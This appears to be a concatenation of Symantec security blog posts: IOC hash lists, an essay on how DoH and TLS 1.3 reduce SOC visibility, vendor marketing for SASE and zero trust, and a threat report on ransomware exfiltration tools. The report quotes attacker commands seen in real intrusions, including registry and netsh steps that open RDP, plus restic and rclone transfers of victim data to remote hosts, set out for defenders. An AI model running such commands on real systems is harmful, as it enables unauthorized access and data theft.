2dcf9e556332da2a17a44dfceda5e2421c88168aafea73e2811d65e9521c715c
a6ed16244a5b965f0e0b84b21dcc6f51ad1e413dc2ad243a6f5853cd9ac8da0b
ee6a3331c6b8f3f955def71a6c7c97bf86ddf4ce3e75a63ea4e9cd6e20701024
585db6ab2f7b452091ddb29de519485027665335afcdb34957ff1425ecc3ec4b
29df6c3f7d13b259b3bc5d56f2cdd14782021fc5f9597a3ccece51ffac2010a0 ea2be3d0217a2efeb06c93e32f489a457bdea154fb4a900f26bef83e2053f4fd
54198678b98c2094e74159d7456dd74d12ab4244e1d9376d8f4d864f6237cd79
d9eec27bf827669cf13bfdb7be3fdb0fdf05a26d5b74adecaf2f0a48105ae934
cb7d9feda7d8ebfba93ec428d5a8a4382bf58e5a70e4b51eb1938d2691d5d4a5
2c0cfe2f4f1e7539b4700e1205411ec084cbc574f9e4710ecd4733fbf0f8a7dc
a16a70b0a1ac0718149a31c780edb126379a0d375d9f6007a6def3141bec6810
0bcdcc0515d30c28017fd7931b8a787feebe9ee3819aa2b758ce915b8ba40f99
PlugX Loader – proccom.dll, djcu.dll
c31b409b1fe9b6387b03f7aedeafd3721b4ec6d6011da671df49e241394da154
db489e9760da2ed362476c4e0e9ddd6e275a84391542a6966dbcda0261b3f30a
632cd9067fb32ac8fbbe93eb134e58bd99601c8690f97ca53e8e17dda5d44e0e
DumpCredStore – dumpcredstore.ps1, a.ps1
c1e91a5f9cc23f3626326dab2dcdf4904e6f8a332e2bce8b9a0854b371c2b350
5a0976fef89e32ddcf62c790f9bb4c174a79004e627c3521604f46bf5cc7bea2
AnyDesk – anydesk.exe
7bcff667ab676c8f4f434d14cfc7949e596ca42613c757752330e07c5ea2a453
File Indicators – Othorene
3f75818e2e43a744980254bfdc1225e7743689b378081c560e824a36e0e0a195 – pc.exe, rpc.exe (Main malware)
1b8500e27edc87464b8e5786dc8c2beed9a8c6e58b82e50280cebb7f233bcde4 – get.exe (used to print Syskey and Samkey)
03bc62bd9a681bdcb85db33a08b6f2b41f853de84aa237ae7216432a6f8f817e – pc.dll
ae39ced76c78e7c2043b813718e3cd610e1a8adac1f9ad5e69cf06bd6e38a5bd – pc.dll
f6f6152db941a03e1f45d52ab55a2e3d774015ccb8828533654e3f3161cfcd21 – pc.exe
2f4a97dc70f06e0235796fec6393579999c224e144adcff908e0c681c123a8a2 – pc.dll
22069984cba22be84fe33a886d989b683de6eb09f001670dbd8c1b605460d454 – pc.dll
7b945fb1bdeb27a35fab7c2e0f5f45e0e64df7821dd1417a77922c9b08acfdc3 – rpc.dll
e8be3e40f79981a1c29c15992da116ea969ab5a15dc514479871a50b20b10158 – pc.dl
b5c46c2604e29e24c6eb373a7287d919da5c18c04572021f20b8e1966b86d585 – rpc.dll
53d2506723f4d69afca33e90142833b132ed11dd0766192a087cb206840f3692 – test.exe
26d129aaa4f0f830a7a20fe6317ee4a254b9caac52730b6fed6c482be4a5c79d – g.dll
b45355c8b84b57ae015ad0aebfa8707be3f33e12731f7f8c282c8ee51f962292 – g.dll
17dce65529069529bcb5ced04721d641bf6d7a7ac61d43aaf1bca2f6e08ead56 – getHashFlsa64.dll
98b6992749819d0a34a196768c6c0d43b100ef754194308eae6aaa90352e2c13 – getHashFlsa64.dll
6d5be3e6939a7c86280044eebe71c566b48981a3341193aa3aff634a3a5d1bbd – getHashFlsa64.dll
1cf04c3e8349171d907b911bc2a23bdb544d88e2f9b8fcc516d8bcf68168aede – getHashFlsa64.dll
|
Dark Times Call for an Overhaul of Your SOC
Emerging standards will disrupt common methods for detecting malicious traffic
A wave of change is about to hit every chief security officer that will be every bit as dramatic as cloud computing.
Cloud caught our sector off-guard. The speed at which new cloud services were adopted created blind spots for CSOs. New skills and monitoring tools were required to restore visibility. Even today in 2019, one in every two security decision makers admit their security program struggles to keep pace with new cloud applications.
Our next blind spot will be a little closer to home. It emerges from well-intentioned efforts to address user anxiety about the tracking and monitoring of internet usage.
Several related standards promoted by the browser industry seek to reduce observable data about web requests. They include:
DNS-over-HTTPS (DoH), a mechanism for encrypting DNS requests.
TLS 1.3 – the latest iteration of the protocol that secures most web traffic, and
Encrypted SNI (ESNI), a TLS 1.3 extension for encrypting the server name indicator in a HTTPS handshake.
All three initiatives disrupt content filtering and retention of browsing histories by internet service providers.
By extension, they will have a profound impact on where and how malicious activity is detected on private networks, where network operators are bound by a duty of care to protect users that consent to monitoring. Many reliable data sources used in today’s cyber defense and data protection programs won’t be readable.
DoH!
DNS-over-HTTPS (DoH) is a mechanism for encrypting DNS requests sent between the web browser and DNS resolvers.
In standard DNS requests, network devices on the path between the client and the server resolving the request could observe client IP address information and the requested hostname. In a private/enterprise context, firewalls rules are configured to actively inspect and block malicious requests (via DNS firewall rules), while DNS logs are used for retrospective threat-hunting and incident response.
Visibility of DNS is important information inside the SOC, as it is routinely abused by attackers as both a command and control channel to connect to a compromised host inside a victim’s network (‘DNS Tunneling’) or for exfiltration of data.
We’ve now seen several examples of malware campaigns designed specifically to abuse encrypted DoH in order to bypass detection rules.
Mozilla announced this week that DoH will be turned on by default for all Firefox users in the United States, while Google has introduced DoH in the latest beta release for the Chrome browser. Previously observable DNS data will instead appear as regular HTTPS web traffic.
TLS 1.3, SNI and QUIC
In versions of TLS prior to TLS 1.3, the requested hostname is observable in both the TLS certificate message and Server Name Indication (SNI), neither of which are encrypted.
When a client and server connect using TLS 1.3, however, the TLS certificate message is sent during the encrypted phase of the HTTPS handshake. Network security devices that rely on observing this plaintext for enforcing policy decisions will require new techniques and rulesets. (Symantec made early investments to ensure its SSL Interception products support TLS 1.3 and has repeatedly warned of consequences for network defenders. )
Further, TLS 1.3 sets new conditions for passive decryption of HTTPS traffic. It makes use of ephemeral keys for each session, such that any retrospective decryption of copies of this encrypted traffic will require access to per-session secrets provided by one of the endpoints.
Another source of data observed by network devices is SNI (Server Name Indication). SNI lists the hostname requested by the client in the first packet (ClientHello) of a HTTPS handshake, to account for scenarios in which multiple web sites sit behind a single IP address. Cloudflare recently proposed Encrypted SNI (ESNI) as an extension to TLS 1.3, to again conceal SNI information in ciphertext.
Google, meanwhile, has introduced a new transport protocol called QUIC that can be used in place of TCP+TLS in an attempt to improve browser performance. QUIC operates at the Transport Layer (Layer 4) of the OSI stack, denying network devices the richer application layer context required for making policy decisions.
To date, most network security devices cannot inspect QUIC traffic, and manufacturers advise network administrators to disable or block use of the protocol, forcing requests to fall back to HTTPS over TCP.
Keeping the (search)lights on
We should anticipate strong appetite for these protocols. Most surveyed organizations expect to adopt TLS 1.3 within the next 3-6 months.
Paradoxically, network defense and threat-hunting activities will need to grow more reliant on managed endpoints to compensate for these changes.
My advice is to:
Test for impact. TLS 1.3 and DoH can be enabled in two of the world’s most popular web browsers. You should by now understand how they impact the telemetry used in hunt activities inside the SOC.
Review your endpoint security strategy. Evaluate the risks unmanaged devices present to your network, in light of the growing inter-reliance between network and endpoint security.
Develop a business case for a network security rethink. Assume TLS 1.3 will be a minimum requirement within 12-18 months. Consider the role a zero trust strategy that relies upon trusted identities and devices might play in in reducing your dependency on the network.
|
Data-Centric SASE: Delivering a Great User Experience
Partnering with the best should be in your plans for success
Anyone could probably build their own car if they kept working at it, but it wouldn’t be a Ferrari. So, why should IT organizations go it alone when they can work with the best partners in the business, like Google Cloud - when it comes to building critical networking infrastructure? The business of infrastructure is one of the most distracting activities an organization can undertake, which is why so many choose to partner. Collaborating with the right cloud partner can accelerate an organization’s software innovation and growth and increase their focus on what matters most.
It’s an important topic as enterprises consider moving to the new vision for network security called Data-Centric Secure Access Service Edge (SASE).
Data-Centric SASE flips the current network perimeter security model on its head. It offers a new architecture that places specially adapted security assets closer to where users, applications, and data are located right now (out on the internet), as opposed to where they were 10 years ago (within a private network). Without proper placement of security assets, organizations miss opportunities to protect users, data, and applications from sophisticated attacks that, a few years ago, would have only been accessible to nation-state actors.
But Data-Centric SASE is more than just security. A good SASE solution must also be a faithful custodian of the user experience. In my hundreds of customer conversations there are two constants: Information security is job number one which is followed closely by preservation of the user experience. Customers know that the user experience can make or break a security solution, so they seek low-friction options. When fully implemented, SASE should, by nature, improve the user experience when compared to the corporate VPN. Most of us would agree that beating the VPN in a performance contest is a low bar, but it’s a start. So, it’s useful to question what other factors influence the user experience.
And that’s where hyper-scale, private networking infrastructure can play such a critical role.
DIY Cloud
Who doesn’t love the can-do spirit of the modern engineer? They are part philosopher, part scientist, and part artist. No task is impossible for an engineer. And this is the spirit that has created many of the world changing inventions that we all know and love. But there are times when engineers want to solve problems that should be left to others. Cloud infrastructure happens to be one of those problems. For years, we operated on an infrastructure model that we have since termed “DIY Cloud” which stands for “do-it-yourself cloud.” The term “DIY” is appropriately affectionate, implying a certain level of self-sufficiency that invokes a sense of nostalgic pride. But in the modern context, DIY also implies a lack of professional polish. DIY in pop culture is decidedly average. DIY is often described as “just ok” or “functional,” but it is rarely labeled “impressive.”
Two years ago, at Symantec, a division of Broadcom Software, we embarked on a humbling exercise: The core question we considered at the time was if we could outperform public cloud vendors on all relevant aspects of infrastructure operations. More importantly, we wanted to explore if we were already lagging the infrastructure juggernauts. Finally, we asked ourselves if the hidden costs of running our own infrastructure was such a distraction that it was affecting our security focus? Our conclusions were honest and sobering. We walked away from those discussions understanding that not only Symantec, but no one in our industry was going to “out-Google, Google” and the other infrastructure leaders at hyperscale cloud.
But Data-Centric SASE is more than just security. A good SASE solution must also be a faithful custodian of the user experience.
It’s the same basic math that many of our customers have gone through over the past several years. Can we really do a better job of managing infrastructure than the world’s largest and best public cloud providers? It’s difficult to ignore such overwhelming facts and we took that realization and began to act.
As a result, we selected Google Cloud as our infrastructure partner, replacing the DIY Cloud that so many of our competitors are still wrestling. And we were not disappointed. Once fully operationalized on Google Cloud, we reduced data center build times from months (or more) to a few hours. We increased automation, reducing human errors, and we improved our resiliency by embracing advanced concepts like infrastructure as code. Nothing in our world is physical. The idea of a hardware failure is delightfully antiquated. We work with a single vendor instead of the 30+ vendors required to run our old DIY Cloud. Given these great accomplishments, which took less than a year to fully realize, it’s not difficult to see how all this has benefitted customers.
But did it benefit the user experience? Just one example is a before-and-after test we ran, that indicated a 20 percent improvement in the performance of Symantec Secure Access Cloud (SAC), our Zero Trust Network Access (ZTNA) solution, since migrating the infrastructure to Google Cloud.
A critical component of the SASE architecture, ZTNA provides Zero Trust Network Access for the cloud generation. An ability to deliver ZTNA so quickly and efficiently through a strategic partnership with a private, cloud-networking provider allows businesses like ours to greatly accelerate enterprise migration to a fully-developed SASE network security architecture –paralleling the migration to cloud which was accelerated by the Covid pandemic.
But that is not the only benefit.
More Than Dots on a Map
Partnering with a company like Google Cloud enhances Symantec’s ability to deliver cloud-first software with speed, scale, and efficiency. It also allows us to accelerate innovation and integration of our core security franchises – including Symantec Web Protection, CloudSOC CASB, and Secure Access Cloud – to meet the growing needs of digital businesses globally.
But beyond the basics there is a frequently overlooked problem in our industry: Edge connectivity.
I sometimes get the question, “Why Google?” The answer is simple: because Google has mastered the art of transiting large amounts of data between its POPs (Point of Presence) and the edge. Airports, our homes, coffee shops, cellular networks, and wherever we go as internet users; that’s where the edge is. Since the pandemic, the edge has become more important than ever to businesses. The success of the world’s largest applications, to a big extent, depends on how well they can move data between POPs and users. The inherent unreliability and inefficiency of public internet routes can easily disrupt the user experience so that variability must be controlled, exposing another weakness of DIY Clouds.
Partnering with a company like Google Cloud enhances Symantec’s ability to deliver cloud-first software with speed, scale, and efficiency.
Google’s solution to this problem was to not just put the requisite POPs on the map. Google knew that it must take ownership of as much of the data path as possible by interconnecting its POPs with the surrounding ISPs and other entities to ensure efficient transit to and from end user populations. This strategy goes well beyond peering in a handful of exchanges. In total, Google participates in 180 internet exchanges in addition to 160 private interconnection facilities. No DIY Cloud from the SASE industry comes close. Without a highly interconnected private network, applications hosted in these DIY Clouds are subject to the same inefficient routes used by smaller, less capable applications putting the user experience at risk.
Summing it all up, when we say we are cloud-native, we mean that we have an underlying on-demand compute pool on tap. Our POPs are backed by one of the world’s largest networks interconnecting our applications to your users. Other benefits of partnering with a hyper-scale, private network infrastructure company include:
Virtually infinite scalability
More consistent service levels
Most up-to-date technical requirements
Immediate architectural updates
Seamless global cloud experience
To get to SASE faster and more securely, take the Ferrari that was created when a world-class security company partnered with a best-in-class hyper-scale, private network infrastructure company to accelerate software innovation and growth. To learn more about this and our other network solutions, contact us HERE.
|
Data-Centric Security: The Changing Landscape
The question is no longer if a network will be breached but rather when and by whom
[Robert O’Connor is currently the CISO for Maricopa County, Arizona, the 3rd largest county by population in the U.S. He has over 28 years aligning global information infrastructure to business requirements incorporating cyber and physical security. Maricopa County is a Symantec customer.]
Leading security-minded organizations see the need to develop their cyber security strategy from strictly network-centric toward a more mature data-centric. With the boom of cloud services and a fully realized mobile workforce, there is no longer a secure perimeter.
A data-centric strategy uses classification and encryption to protect data wherever it moves. Where it resides becomes less important. Critical to data-centric security is that content is analyzed at the point of creation to determine its sensitivity. Then it must be restricted appropriately so that only those individuals with the proper business need can use it. This mindset marks a significant maturity in the approach to information security. We must pay more attention to identifying sensitive data so that it remains secure no matter where it goes.
This is not to say data movement and availability are unimportant. A 2015 report from Accenture and the Ponemon Institute noted that proactive firms are prioritizing network traffic anomalies, identifying vulnerabilities, and limiting unauthorized data sharing. Monitored access, encryption, and application-specific firewall rules can severely reduce malicious movement inside a network. When data passes through a secure application perimeter, application owners can easily monitor and isolate traffic and prevent unauthorized access.
Creating a Data-Centric Security Infrastructure
In a multi-platform environment, sensitive information may no longer be completely under our control. It could be on any device, shared in unauthorized locations, or accessed by the right people in the wrong way. This raises the need to manage every facet of what is being accessed, by whom, when, where, and how.
There are 7 major components to make this happen.
1. Data Discovery. You cannot protect what you cannot find. A comprehensive data discovery system makes it possible to find data, no matter its location – cloud, mobile, local network, etc. Once you know what your data is, you can get a handle on protecting it.
2. Visibility – Data Flow. Get a complete picture of the path data travels over time. For example, a patient record originates with the primary care doctor, travels through the insurance company, and later ends up within the network of the specialist.
3. Classification. Decide what data to protect and how – automatically or manually – based on specific rules. An efficient classification system recognizes data context – such as credit card numbers, PII, PHI, and automatically protects it.
4. Identity Management. Identity and access management is all about defining trust. Data access can be granted according to multiple facets: on a person, an application, a service, a place, and device awareness. Trust may need to be established rapidly and be temporary. Accurate and up-to-date directory information, Multi-Factor Authentication (MFA) and tracking of changing roles in an organization all become paramount. This is especially the case for people or services with elevated privileges to guard against mistakes, identity theft, insider threats or other malicious behavior.
Decide what data to protect and how – automatically or manually – based on specific rules.
5. Encryption. Encryption countermeasures should be applied to protect against un-authorized users trying to access data when it is not directly under your control. Applied correctly, it can also protect against authorized users accessing data in unauthorized ways or places. Activating encryption should be based on specific conditions, ensuring the entire process is transparent to the end user, without damaging the user experience.
6. Access Control. Data must be managed from the 30,000-foot level, not file-by-file. Data access should be based on roles with specific permissions and privileges. Rules must be applied based on person, place and device awareness. Access control mechanisms on the file/data/information itself and, possibly on the endpoints, will define who can and cannot access information after it has left an entity. Digital Rights Management (DRM) unifies the elements of classification, identity, encryption, control, and governance for data down to the file level, and now may be extended further to the object level for elements of web transactions in a ReSTful architecture.
7. Governance & Compliance. Now that you can track who is doing what, when, where, and how to your information, you need to be able to show it. A good governance system will enable data tracking, ensuring you know exactly where the data has been and who has touched it. It will also be able to demonstrate compliance with any regulatory requirements by pulling very clear reports about the who, what, when, where, and how of file access.
|
Data-Driven Decision Making for Identity Security
Symantec Enterprise: More informed decisions comes more automated security
In today’s Zero Trust world, where the principle of least privilege is ubiquitous, enterprises are struggling to balance security while simultaneously enabling a highly agile business environment. There has always been friction with security and making highly specific security decisions quickly and efficiently contributes to this. Moreover, decision-making in enterprises exists on a spectrum from completely manual to completely automated. Regardless of where your organization resides on this scale, you are moving more and more towards automation--whether you know it or not. The real question is, as your business becomes more agile, how can you keep your security posture from falling off a cliff?
Traditional security tools can help with decision-making, but oftentimes there isn’t enough data to automate this decision-making process, or there isn’t enough confidence with the data that does exist. This results in a lot of manual effort, which cannot be supported by overworked and understaffed security teams. The solution to this challenge is more data; the more data you have, the more informed any automated decision will be to grant access (and specifically which type of access). Thus, from a Zero Trust standpoint more data is almost always better, and as we move towards a more secure enterprise environment, it will be essential to draw on data from numerous sources, including access requests, authentication, authorization, session activity, user behavior, etc. The more data, the clearer the picture - the clearer the picture, the safer and faster the decision.
The real question is, as your business becomes more agile, how can you keep your security posture from falling off a cliff?
But where do we collect this data? The answer is, you already have some of it - you just aren’t leveraging it. The data that your existing identity and access management solutions are collecting while they are continuously monitoring user access and activity is invaluable. This data might include things like login times, login locations, associated roles/access, etc. But the marginal benefits of additional data, which might initially seem irrelevant, should not be underestimated. For example, suppose we gather average session data for users, which on its own might not be predictive of risk. It could be that longer average session time combined with administrator access is the single most predictive measure of malicious behavior, but if we don’t bother collecting the data, we’d never know that.
The upside of collecting and consolidating identity and other data is that machine learning tools can continually analyze this data to search for new patterns that enable more informed decisions. These tools are capable of learning not only which data is valuable for risk assessment at any given time, but also how to apply that risk assessment to make informed security decisions. And through more informed decisions comes more automated security, which enables business agility.
These tools are capable of learning not only which data is valuable for risk assessment at any given time, but also how to apply that risk assessment to make informed security decisions.
At Broadcom, we are focused on a future state where all data inputs - from authorization, access requests, authentication, session monitoring, and contextual user behavior - are used at the business level. Symantec’s Global Intelligence Network (GIN) is one of the largest civilian data repositories in existence, providing an extraordinary amount of data to inform security decisions. As the mindset of security has evolved, we are capable of making much more granular decisions with a greater level of context, creating and enforcing policies that are highly contextual. We are evolving beyond identity, because the data we gather allows businesses to function at the next level.
Achieve Zero Trust with Symantec
|
Data Exfiltration: Increasing Number of Tools Leveraged by Ransomware Attackers
Vast majority of tools are dual-use, legitimate software installed by attackers for malicious purposes.
Ransomware actors are deploying a growing array of data-exfiltration tools in their attacks and, over the past three months alone, Symantec has found attackers using at least dozen different tools capable of data exfiltration. While some exfiltration tools are malware, the vast majority are dual-use – legitimate software used by the attackers for malicious purposes.
Double extortion attacks are now standard practice for most ransomware operators. In addition to encrypting files, attackers steal data from victims and threaten to release it unless the ransom is paid. The tactic has proven to be effective, supplying attackers with more leverage to use against organizations that may be able to restore encrypted files from backups.
The range of tools now being used by ransomware actors for exfiltration is growing. It would appear that this trend is driven by two factors: A growing awareness among attackers of the potential functionality in certain types of software; and a desire to find lesser-known alternatives to tools that have gained a reputation for malicious usage.
While Rclone is still the most frequently used exfiltration tool by ransomware actors, the fastest growing category is remote administration and remote management tools, such as AnyDesk, ScreenConnect, and Atera. The functionality of these tools lies behind their appeal to attackers, since exfiltration is just one of their capabilities and most can act as a de-facto backdoor on a compromised computer.
Figure 1. Most frequently seen exfiltration tools and ransomware operations using them.
The most frequently used exfiltration tools over the past three months include:
Rclone: Open-source tool that can legitimately be used to manage content in the cloud, but has been seen being abused by ransomware actors to exfiltrate data from victim machines. For an example of how Rclone may be used, see case study below.
AnyDesk: A legitimate remote desktop application. By installing it, attackers can obtain remote access to computers on a network. Malicious usage of AnyDesk is now a well-known TTP and, in some cases, attackers will attempt to avoid raising suspicions by renaming the AnyDesk executable to something that may appear more innocuous, a technique known as masquerading.
RDP: Remote Desktop Protocol. A Microsoft-developed protocol that allows a computer to connect to and control another computer, using client/server software. Attackers can attempt to enable RDP using a variety of techniques, including leveraging multiple living-off-the-land tools. Once RDP is enabled, it allows the attackers to use any number of dual-use tools that leverage the RDP protocol.
For example, an attacker may attempt to enable RDP by simply modifying a registry key:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
The attacker may also attempt to create a firewall rule to specifically allow all incoming RDP connections using a Network Shell (netsh) command:
netsh advfirewall firewall add rule name=[NAME] RemoteDesktop" dir=in protocol=TCP localport=3389 action=allow
Cobalt Strike: An off-the-shelf tool that can be used to execute commands, inject other processes, elevate current processes, or impersonate other processes, and upload and download files. It ostensibly has legitimate uses as a penetration-testing tool but is invariably exploited by malicious actors. Cobalt Strikes has been used for data exfiltration, with attackers leveraging Cobalt Strike's Beacon payload to establish covert communication channels with compromised systems, allowing them to exfiltrate sensitive data stealthily. The tool's ability to mimic normal network traffic and blend in with legitimate activity enables attackers to surreptitiously transfer valuable information from compromised networks.
ScreenConnect: A remote desktop application tool by ConnectWise, used to enable remote access to computers.
Atera: Legitimate remote monitoring and access software. It and similar tools are often used by attackers to obtain remote access to computers on a network.
WinRAR: An archive manager that can be used to archive or zip files. Attackers have used WinRAR and similar utilities (e.g. 7-Zip) in order to prepare files for exfiltration:
cmd /u [REMOVED] CSIDL_COMMON_APPDATA\rar.exe a -dh -hp[REMOVED] -m5 CSIDL_COMMON_APPDATA\1.rar CSIDL_COMMON_APPDATA\1.txt > CSIDL_COMMON_APPDATA\log.txt
Restic: Open-source command line backup tool designed to be efficient and secure and will work with various platforms including Windows, Linux, and OSX. Restic supports various storage backends, including local directories, SFTP servers, Amazon S3, Microsoft Azure, and Google Cloud Storage, which has made it a popular choice for ransomware actors.
The following is an example of Restic commands used by attackers using the Noberus ransomware. The “init” command initializes a new repository. The “-r” switch specifies the repository to backup to or restore from, while the “-use-fs-snapshot” switch instructs the application to use the file system snapshot where possible.
CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ init [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt
CSIDL_COMMON_VIDEO\restic.exe -r rest:http://[REMOVED]:8000/ [REMOVED] CSIDL_COMMON_VIDEO\ppp.txt --use-fs-snapshot --verbose backup "CSIDL_SYSTEM_DRIVE\[REMOVED]"
TightVNC: Open-source remote desktop software.
WinSCP: A legitimate SFTP client and FTP client for Microsoft Windows.
Pandora RC: Pandora Remote control (formerly known as eHorus) is a legitimate remote access tool that is sold commercially and has agents for Windows, Linux, and Mac workstations. It has also been leveraged by attackers, mainly to facilitate remote access and deployment of additional tools to assist in credential dumping and lateral movement. However, Pandora RC may also be used to facilitate exfiltration of sensitive information from targeted organizations. The remote management platform can be used from any device with a web browser.
Chisel: Chisel is an open-source proxy tool. It was designed to create encrypted, tunnelled connections, commonly used in network security testing and penetration testing scenarios. However, it has been abused during ransomware attacks to create tunnels to attacker-controlled infrastructure as part of data exfiltration activities. It creates a TCP/UDP tunnel that is transported over HTTP and secured via SSH.
PowerShell: Microsoft scripting tool that can be used to run commands, download payloads, traverse compromised networks, and carry out reconnaissance. In several ransomware attacks, the attackers have executed specific commands in order to facilitate data exfiltration, including use of the Compress-Archive cmdlet:
powershell Compress-Archive CSIDL_PROFILE\public\[REMOVED]-fs CSIDL_PROFILE\public\[REMOVED]-fs.zip
Case Study: Rclone usage in RagnarLocker attack
Rclone is an open-source tool whose legitimate uses include online backups and managing content in the cloud. Ransomware attackers use its capabilities to exfiltrate data from compromised networks. It is usually installed by the attackers themselves once they have infiltrated a targeted network. Rclone is now so frequently used by ransomware groups that many attackers will now rename Rclone to masquerade as something else (e.g. svchost.exe).
A RagnarLocker attack which occurred in July 2023 provides an example of how Rclone can be used by ransomware actors. The first evidence of malicious activity occurred when PowerShell commands were executed to disable Local Security Authority (LSA) protection. The attackers then ran SoftPerfect Network Scanner (netscan.exe), a publicly available tool used for the discovery of host names and network services.
The next day, the attackers resumed their activity, deploying Mimikatz and LaZagne to dump credentials, before using a number of living-off-the-land tools to gather system information, save registry hives, execute commands on other computers on the network, and enable the Remote Desktop Protocol (RDP) to facilitate remote access.
The attackers then began using Rclone to copy data from network shares, e.g.
rclone copy \\[REMOVED]\[REMOVED]\Shares --max-age 2095d [REMOVED]:[REMOVED]/ -P --exclude "*.{zip,log,rar,wav,mp4,mpeg}" --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6
Interestingly, there were frequent typos in the commands issued by the attackers, suggesting hands-on-keyboard activity rather than automation.
The attackers then initiated Rclone connections to the Put.io file-sharing service, which acted as the destination for the exfiltrated data:
https://api.put[.]io
https://s100.put[.]io
https://s101.put[.]io
https://s102.put[.]io
https://s103.put[.]io
https://upload.put[.]io
Once the data was exfiltrated, the attackers moved on to the next stage of the attack, deployment of the RagnarLocker payload and encryption of files.
Flying under the radar
Data exfiltration is now a key step in the attack chain for most ransomware actors and many see stolen data as their most effective way of extorting organizations, creating darknet data leak sites naming their victims and publishing stolen data if a ransom isn’t paid. While some malware is still being authored for this purpose, many attackers are turning to legitimate software packages in the belief that they are less likely to trigger alerts when deployed on their victims’ networks.
Protection
Symantec Adaptive Protection helps to close attack routes available to attackers using living-of-the-land and dual-use tools. Adaptive allows users to:
Profile the normal behavior of trusted applications and processes in the enterprise environment.
Analyze prevalence to get visibility into the potential impact of eliminating specific behaviors in the environment.
Administrators can use the prevalence analysis coupled with correlated MITRE techniques to help determine which application behaviors to block. Any behaviors that are not used or seldom used can be safely blocked.
For the latest protection updates, please visit the Symantec Protection Bulletin.
Mitigation
Monitor outbound traffic for unusual patterns and communications with external servers or cloud storage services.
Monitor the use of dual-use tools inside your network.
Monitor registry and system changes made on your network.
Ensure you are using the latest version of PowerShell to leverage enhanced logging and auditing capabilities, along with the latest security features like AppLocker.
Restrict access to RDP Services. Only allow RDP from specific known IP addresses and ensure you are using multi-factor authentication (MFA).
Implement proper audit and control of administrative account usage. You could also implement one-time credentials for administrative work to help prevent theft and misuse of admin credentials.
Create profiles of usage for admin tools. Many of these tools are used by attackers to move laterally undetected through a network.
Use application whitelisting where applicable.
Locking down PowerShell can increase security, for example with the constrained language mode.
Indicators of Compromise
If an IOC is malicious and the file available to us, Symantec Endpoint products will detect and block that file.
SHA-256 hash Description
d5e01c86dab89a0ecbf77c831e4ce7e0392bea12b0581929cace5e08bdd12196 Rclone
df69dc5c7f62c06b0a64c9b065c3cbe7d034af6ba14131f54678135c33806f3e Rclone
2cbe4368f75f785bf53cbc52b1b357d6281dc41adc1a1aa1870e905a7f07ed5e Rclone
e94901809ff7cc5168c1e857d4ac9cbb339ca1f6e21dcce95dfb8e28df799961 Rclone
9b5d1f6a94ce122671a5956b2016e879428c74964174739b68397b6384f6ee8b Rclone
aaa647327ba5b855bedea8e889b3fafdc05a6ca75d1cfd98869432006d6fecc9 Rclone
9bbc9784ce3c818a127debfe710ec6ce21e7c9dd0daf4e30b8506a6dba533db4 Rclone
64e0322e3bec6fb9fa730b7a14106e1e59fa186096f9a8d433a5324eb6853e01 Rclone
de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c Rclone
5cc2c563d89257964c4b446f54afe1e57bbee49315a9fc001ff5a6bcb6650393 Rclone
8a878d4c2dff7ae0ec4f20c9ddbbe40b1d6c801d07b9db04597e46b852ea2dc5 Rclone
6ad342fbfe679c66ecf31b7da1744cbf78c3dc9f4dbc61f255af28004e36a327 Rclone
8e21c680dab06488014abca81348067753be97fd0413def630701019dea00980 Rclone
f63ff9c6f31701c1dca42d47ca4d819645e8d47586cf375db170503ce92b777e Rclone
d6c1e30368d7ed406f0a6c6519287d589737989e8ff1297b296054b64b646b3f Rclone
109b03ffc45231e5a4c8805a10926492890f7b568f8a93abe1fa495b4bd42975 AnyDesk
7d531afcc1a918df73f63579ca8d1a5c8048d8ac77917674c6805f31c8c9890f AnyDesk
734f3577aa453fe8e89d6f351a382474a5dab97204aff1e194eee4e9fdff0a4a AnyDesk
fc19f3275d02764cf249dc6fe8962e06b83a4f5769cc369bc4f77b90c567df18 AnyDesk
e69f82a00ab0e15d2d5d9f539c70406cbfaffd2d473e09aab47036d96b6a1bc1 AnyDesk
5b70972c72bf8af098350f8a53ec830ddbd5c2c7809c71649c93f32a8a3f1371 AnyDesk
7bcff667ab676c8f4f434d14cfc7949e596ca42613c757752330e07c5ea2a453 AnyDesk
cd37a69b013336637a1ee722a6c7c8fd27439cf36ac8ed7e29374bbe4a29643e AnyDesk
8cd552392bb25546ba58e73d63c4b7c290188ca1060f96c8abf641ae9f5a8383 AnyDesk
ec33d8ee9c3881b8fcea18f9f862d5926d994553aec1b65081d925afd3e8b028 AnyDesk
bbbedd933ac156b476e1b3edb3e09501c604a79c4ff1a917df779a9f1bec5cca AnyDesk
7c20393e638d2873153d2873f04464d4bad32a4d40eabb48d66608650f7d4494 AnyDesk
355faa21f35d4a15c894445f09af97b2ad90604425b9a4b9076e293dbd4504ab AnyDesk
580f6a285c6c3b7238bd16e1aeb62a077ae44b5061a2162e9fd6383af59028bb AnyDesk
af61905129f377f5934b3bbf787e8d2417901858bb028f40f02200e985ee62f6 AnyDesk
4de898c139fb5251479ca6f9ec044cac4d83a2f5d1113b7a4b8f13468a130c97 AnyDesk
d928708b944906e0a97f6a375eb9d85bc00de5cc217d59a2b60556a3a985df1e AnyDesk
cdb82be1b9dd6391ed068124cfdf2339d71dd70f6f76462a7e4a0fdadd5a208a Cobalt Strike
0242c29a20e19a4c19ff1e5cc7f28a8af3c13b6ec083d0569b3ba15a02c898b6 Cobalt Strike
9242846351a65655e93ed2aeaf36b535ff5b79ddf76c33d54089d9005a66265b Cobalt Strike
935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d44ad2 Cobalt Strike
8d6a398f97d734412de03340bbb8237d00c519479649af8933afb8fb4fa2f695 Cobalt Strike
837fa64038a1e46494b581020606c386fbd79898aab9f38f90df8cfa7d4599ec Cobalt Strike
3cc56d5b79877a8ee6d15f0109d1c59937d6555ae656924686cafeee36ec0d57 Cobalt Strike
3e2bda57454efa2e87ae4357f5c6c04edafa6b1efcda8093cbfd056a211d0f39 Cobalt Strike
840e1f9dc5a29bebf01626822d7390251e9cf05bb3560ba7b68bdb8a41cf08e3 Cobalt Strike
6cf60c768a7377f7c4842c14c3c4d416480a7044a7a5a72b61ff142a796273ec Cobalt Strike
5adfef3f7721d6616650711d06792c087fd909f52435c8124c5f940f7acbdb48 Cobalt Strike
